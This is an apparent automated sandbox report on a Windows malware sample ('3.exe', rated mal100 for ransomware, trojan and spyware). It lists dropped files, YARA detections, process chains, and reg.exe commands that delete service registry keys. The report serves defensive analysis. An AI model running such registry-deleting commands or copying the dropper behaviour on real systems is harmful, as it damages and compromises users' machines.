Source: E9A1EEE73.dll.17.dr	Static PE information: Resource name: RT_STRING type: DOS executable (COM, 0x8C-variant)
Source: E9A1EEE73.dll.17.dr	Static PE information: Resource name: RT_VERSION type: x86 executable not stripped
Source: 716omlgZ.dll.17.dr	Static PE information: Resource name: RT_VERSION type: MIPSEB-LE MIPS-III ECOFF executable not stripped - version 0.79
Source: 380BjggdZ.exe.17.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: 380BjggdZ.exe.17.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Source: C2485384.exe.5.dr	Static PE information: Number of sections : 11 > 10
Source: E9A1EEE73.dll.17.dr	Static PE information: Number of sections : 11 > 10

Source: 3.exe, 00000000.00000003.1315804134.00000000035D0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameb! vs 3.exe
Source: 3.exe, 00000000.00000000.1253675278.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFileName vs 3.exe
Source: 3.exe, 00000000.00000002.1317011510.0000000001C82000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamehh vs 3.exe
Source: 3.exe, 00000000.00000003.1311295115.0000000001C96000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameb! vs 3.exe
Source: 3.exe, 00000000.00000003.1316098733.0000000001C35000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs 3.exe
Source: 3.exe, 00000000.00000003.1316098733.0000000001C35000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamehh vs 3.exe
Source: 3.exe	Binary or memory string: OriginalFileName vs 3.exe
Source: 3.exe	Binary or memory string: OriginalFilenameb! vs 3.exe

Source: 3.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: C:\Program Files (x86)\Google\C2485384.exe

Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\System32\reg.exe" delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\A0A461yPs /f

Source: C:\Users\user\Desktop\I4F64A1117\DB1368E\64DSSSLL.dll, type: DROPPED	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: C:\Users\user\Desktop\I4F64A1117\AA1F03F\C5AF4D95FFB\716omlgZ.dll, type: DROPPED	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime

Source: E9A1EEE73.dll.17.dr

Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: E9A1EEE73.dll.17.dr

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESERVED size: 0x100000 address: 0x0

Source: C2485384.exe.5.dr	Static PE information: Section: 0DE ZLIB complexity 1.0002107998348018
Source: C2485384.exe.5.dr	Static PE information: Section: 10ta ZLIB complexity 1.0015345982142858
Source: E9A1EEE73.dll.17.dr	Static PE information: Section: .data ZLIB complexity 0.9888200431034483
Source: E9A1EEE73.dll.17.dr	Static PE information: Section: .reloc ZLIB complexity 0.999194995777027

Source: 3.exe, 00000000.00000003.1316098733.0000000001C35000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: sers\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBpS
Source: C2485384.exe, 00000011.00000002.3898371658.00000000102F6000.00000004.00000020.00020000.00000000.sdmp, C2485384.exe, 00000011.00000002.3923568338.000000001084E000.00000004.00000020.00020000.00000000.sdmp, 2CE020xu.dll.17.dr, 5C55qqtun.dll.17.dr	Binary or memory string: ...Slnt

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winEXE@38/86@124/43

Source: C:\Program Files (x86)\Google\C2485384.exe

Code function: 17_2_0BB7BBAE GetDiskFreeSpaceA,

17_2_0BB7BBAE

Source: C:\Program Files (x86)\Google\C2485384.exe

Code function: 17_2_62534680 CreateToolhelp32Snapshot,Process32First,Process32Next,

17_2_62534680

Source: C:\Program Files (x86)\Google\C2485384.exe

Code function: 17_2_6252E3F0 CoCreateInstance,MultiByteToWideChar,

17_2_6252E3F0

Source: C:\Program Files (x86)\Google\C2485384.exe

Code function: 17_2_0BB8AC90 FindResourceA,

17_2_0BB8AC90

Source: C:\Program Files (x86)\Google\C2485384.exe

Code function: 17_2_62518BE0 OpenSCManagerA,CloseServiceHandle,OpenServiceA,StartServiceA,GetLastError,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,

17_2_62518BE0

Source: C:\Users\user\Desktop\._cache_3.exe

File created: C:\Program Files (x86)\google\C2485384.exe

Jump to behavior

Source: C:\Users\user\Desktop\3.exe

File created: C:\Users\user\Desktop\._cache_3.exe

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7476
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1224:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6364:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:3920:120:WilError_03
Source: C:\ProgramData\Synaptics\Synaptics.exe	Mutant created: \Sessions\1\BaseNamedObjects\Synaptics2X
Source: C:\Program Files (x86)\Google\C2485384.exe	Mutant created: \Sessions\1\BaseNamedObjects\ini_read_write

Source: C:\ProgramData\Synaptics\Synaptics.exe

File created: C:\Users\user~1\AppData\Local\Temp\ntiuY44s.xlsm

Jump to behavior

Source: Yara match	File source: 3.exe, type: SAMPLE
Source: Yara match	File source: 00000000.00000000.1253675278.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: C:\ProgramData\Synaptics\RCXA074.tmp, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\q67hQckB.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\Documents\CZQKSDDMWR\~$cache1, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\RCX6C69.tmp, type: DROPPED
Source: Yara match	File source: C:\Users\user\Desktop\I4F64A1117\AA1F03F\J30B536C5\380BjggdZ.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\RCX7023.tmp, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED

Source: C:\Users\user\Desktop\3.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Users\user\Desktop\3.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\3.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Program Files (x86)\Google\C2485384.exe

File read: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Source: C2485384.exe, 00000011.00000002.3860099169.000000000FBA4000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vsH%&

Source: 3.exe	Virustotal: Detection: 84%
Source: 3.exe	ReversingLabs: Detection: 84%

Source: C:\Users\user\Desktop\3.exe

File read: C:\Users\user\Desktop\3.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\3.exe "C:\Users\user\Desktop\3.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetworkService -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k UnistackSvcGroup
Source: unknown	Process created: C:\Windows\System32\SgrmBroker.exe C:\Windows\system32\SgrmBroker.exe
Source: C:\Users\user\Desktop\3.exe	Process created: C:\Users\user\Desktop\._cache_3.exe "C:\Users\user\Desktop\._cache_3.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k wsappx -p -s ClipSVC
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k LocalService -s W32Time
Source: C:\Users\user\Desktop\3.exe	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
Source: C:\Users\user\Desktop\._cache_3.exe	Process created: C:\Program Files (x86)\Google\C2485384.exe "C:\Program Files (x86)\google\C2485384.exe" WfCSiyl7KCmSdCh9fCp6eymBklp7KYEqfR6SPI15L3l2e43pPHsme04=
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
Source: unknown	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 7476 -ip 7476
Source: C:\ProgramData\Synaptics\Synaptics.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7476 -s 8012
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files (x86)\Google\C2485384.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\System32\reg.exe" delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\A0A461yPs /f
Source: C:\Windows\SysWOW64\reg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files (x86)\Google\C2485384.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\System32\reg.exe" delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\7361p1CQa /f
Source: C:\Windows\SysWOW64\reg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Windows\splwow64.exe C:\Windows\splwow64.exe 12288
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
Source: C:\Users\user\Desktop\3.exe	Process created: C:\Users\user\Desktop\._cache_3.exe "C:\Users\user\Desktop\._cache_3.exe"	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate	Jump to behavior
Source: C:\Users\user\Desktop\._cache_3.exe	Process created: C:\Program Files (x86)\Google\C2485384.exe "C:\Program Files (x86)\google\C2485384.exe" WfCSiyl7KCmSdCh9fCp6eymBklp7KYEqfR6SPI15L3l2e43pPHsme04=	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Windows\splwow64.exe C:\Windows\splwow64.exe 12288	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\System32\reg.exe" delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\A0A461yPs /f	Jump to behavior
Source: C:\Program Files (x86)\Google\C2485384.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\System32\reg.exe" delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\7361p1CQa /f	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 7476 -ip 7476
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7476 -s 8012
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\3.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	Section loaded: twext.dll	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	Section loaded: shacct.dll	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	Section loaded: idstore.dll	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	Section loaded: wlidprov.dll	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	Section loaded: provsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	Section loaded: starttiledata.dll	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	Section loaded: acppage.dll	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	Section loaded: twext.dll	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	Section loaded: starttiledata.dll	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	Section loaded: acppage.dll	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\3.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: moshost.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mapsbtsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mosstorage.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ztrace_maps.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mapconfiguration.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: aphostservice.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: networkhelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userdataplatformhelperutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: syncutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mccspal.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dmcfgutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dmcmnutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dmxmlhelputils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: inproclogger.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.networking.connectivity.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: synccontroller.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pimstore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: aphostclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: accountaccessor.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: systemeventsbrokerclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userdatalanguageutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mccsengineshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cemapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userdatatypehelperutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: phoneutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_3.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_3.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_3.exe	Section loaded: oledlg.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_3.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_3.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_3.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_3.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_3.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_3.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_3.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_3.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_3.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_3.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_3.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_3.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_3.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_3.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_3.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_3.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_3.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_3.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_3.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_3.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_3.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: storsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fltlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bcd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: storageusage.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usosvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: updatepolicy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usocoreps.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usoapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: w32time.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vmictimeprovider.dll	Jump to behavior
